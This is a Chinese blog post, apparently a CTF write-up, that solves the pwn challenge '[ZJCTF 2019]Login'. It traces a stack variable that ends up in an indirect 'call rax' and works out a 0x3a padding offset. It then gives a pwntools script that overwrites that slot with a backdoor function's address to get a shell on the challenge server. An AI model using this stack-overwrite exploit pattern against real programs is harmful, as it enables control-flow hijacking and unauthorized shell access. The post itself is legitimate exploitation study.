[ZJCTF 2019]Login

很少见到这种栈追踪的题,放到两个月前我对于栈的理解肯定写不来。现在也是看别的师傅的wp勉强复现。
image
main函数是c++语言,大概是可以看懂就是一个登入程序,账号密码是给了的。
用这个去等入看看。
image
不出意外肯定不会那么简单的让我们登进去。
这里就开始找bug,说实话,不看别人的wp我肯定找不到。
它在password checker的汇编里面。
image
这里看到下面call 了一个rax,首先rax是用来存放我们自己读入的临时数据的寄存器,如果我没有记错。然后call一个寄存器是让ip指向这个寄存器里的值。这里就可以有一个利用,我们修改rax里面的值让它指向这个后门函数,就可以获得shell
image
然后的问题就是怎么修改。我们需要逆向追踪看看哪里给rax赋值。
image
在这里最后给他赋值的是var——18
我们找找在read-password里面看看有没有
image
在这里是有的,距离是0x60-0x18再减去我们的规定密码长度0xe就是0x3a。

点击查看代码
from pwn import *
r = remote('node4.buuoj.cn',26621)
backdoor = 0x400e88
r.sendlineafter(': ','admin')
r.sendlineafter(': ','2jctf_pa5sw0rd'+'\x00'*0x3a+p64(backdoor))
r.interactive() 
结束
posted @ 2022-08-09 18:04  REPWNER  阅读(124)  评论(0)    收藏  举报